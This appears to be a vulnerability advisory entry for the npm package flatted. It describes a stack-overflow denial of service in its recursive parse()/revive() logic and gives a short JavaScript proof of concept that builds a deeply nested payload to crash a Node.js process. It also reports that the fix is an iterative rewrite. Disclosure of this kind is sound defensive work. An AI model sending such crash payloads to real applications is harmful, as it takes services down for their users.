  "details": "## Summary\n\nflatted\u0027s `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.\n\n## Impact\n\nDenial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.\n\nflatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.\n\n## Proof of Concept\n\n```javascript\nconst flatted = require(\u0027flatted\u0027);\n\n// Build deeply nested circular reference chain\nconst depth = 20000;\nconst arr = new Array(depth + 1);\narr[0] = \u0027{\"a\":\"1\"}\u0027;\nfor (let i = 1; i \u003c= depth; i++) {\n  arr[i] = `{\"a\":\"${i + 1}\"}`;\n}\narr[depth] = \u0027{\"a\":\"leaf\"}\u0027;\n\nconst payload = JSON.stringify(arr);\nflatted.parse(payload); // RangeError: Maximum call stack size exceeded\n```\n\n## Fix\n\nThe maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.\n\n## Affected Versions\n\nAll versions prior to the PR #88 fix.",
